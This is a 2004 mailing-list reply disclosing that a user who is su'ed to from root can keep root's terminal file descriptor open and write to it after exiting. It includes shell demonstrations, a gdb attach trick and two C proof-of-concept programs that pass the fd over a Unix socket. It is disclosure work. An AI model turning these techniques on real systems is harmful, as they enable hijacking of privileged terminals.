[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: init scripts and su



On Sun, Aug 01, 2004 at 08:24:29PM +0200, Jan Minar wrote:
> On Wed, Jul 28, 2004 at 04:54:35AM -0400, Andrew Pimlott wrote:
> >                I verified that if I "su - andrew bash" as root, then
> > andrew can write to root's terminal, even after bash exits (just hold
> > the fd open).
> 
> Did You use the ioctl() method Russel described, or another means?
> (Would You care to share the code?)

No, I just meant write(2).  Eg,

    # ls -l `tty`
    crw--w----  1 root tty 136, 159 Aug  1 18:37 /dev/pts/671
    # su - andrew bash
    $ (sleep 20; echo hello) &
    [1] 5764
    $ disown %1
    $ exit
    # hello

Or even

    # su - andrew bash
    $ ./sendfd 
    $ exit
    # hello

Where sendfd sends stdout over a unix socket to recvfd, which waits 10
seconds after it receives the fd, then writes "hello".  (Rough sources
attached.)  Obviously, neither scenario is realistic in that you don't
just give a shell to the user you su to.  However, I think at least the
sendfd version is just as possible, with a little more work, by the
target user attaching to the process and running the code that way.  As
a small proof of that, i note that I can run, from another terminal, as
andrew,

    gdb =bash $(pidof bash)
    ...
    (gdb) p write(1, "hello\n", 6)

and have "hello" show up on the terminal running "su - andrew bash".

Maybe I'm missing something, or maybe read/write is not considered a
serious vulnerability, but it looks unsafe to me.

(BTW, be sure that the tty you are using is actually owned by root.  At
one point, I was working in a terminal in which I had su'ed to root, but
the tty was still owned by andrew.)

Andrew
/* See http://www.ussg.iu.edu/hypermail/linux/kernel/0003.1/0211.html */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
    int send_fd;
    struct sockaddr_un server_addr;
    struct cmsghdr *cmsg;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;

    send_fd = socket(PF_UNIX, SOCK_STREAM, 0);

    server_addr.sun_family = AF_UNIX;
    snprintf(server_addr.sun_path, 108, "sock");

    connect(send_fd, (struct sockaddr *) &server_addr, sizeof(server_addr));

    cmsg = malloc(CMSG_SPACE(sizeof(int)));
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    * (int *) CMSG_DATA(cmsg) = 1;

    iov.iov_base = buf;
    iov.iov_len = sizeof(buf);

    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmsg;
    msg.msg_controllen = CMSG_SPACE(sizeof(int));
    msg.msg_flags = 0;

    sendmsg(send_fd, &msg, 0);

    return 0;
}
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv) {
    int listen_fd, recv_fd, fd;
    struct sockaddr_un server_addr, client_addr;
    socklen_t addr_len = sizeof(client_addr);
    struct cmsghdr *cmsg;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;

    listen_fd = socket(PF_UNIX, SOCK_STREAM, 0);

    server_addr.sun_family = AF_UNIX;
    unlink("sock");
    snprintf(server_addr.sun_path, 108, "sock");

    bind(listen_fd, (struct sockaddr *) &server_addr, sizeof(server_addr));
    listen(listen_fd, 1);
    recv_fd = accept(listen_fd, (struct sockaddr *) &client_addr, &addr_len);

    cmsg = malloc(CMSG_SPACE(sizeof(int)));

    iov.iov_base = buf;
    iov.iov_len = sizeof(buf);

    msg.msg_name = NULL;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmsg;
    msg.msg_controllen = CMSG_SPACE(sizeof(int));
    msg.msg_flags = 0;

    recvmsg(recv_fd, &msg, 0);
    cmsg = CMSG_FIRSTHDR(&msg);
    fd = * (int *) CMSG_DATA(cmsg);

    sleep(10);

    write(fd, "hello\n", 6);

    return 0;
}

Reply to: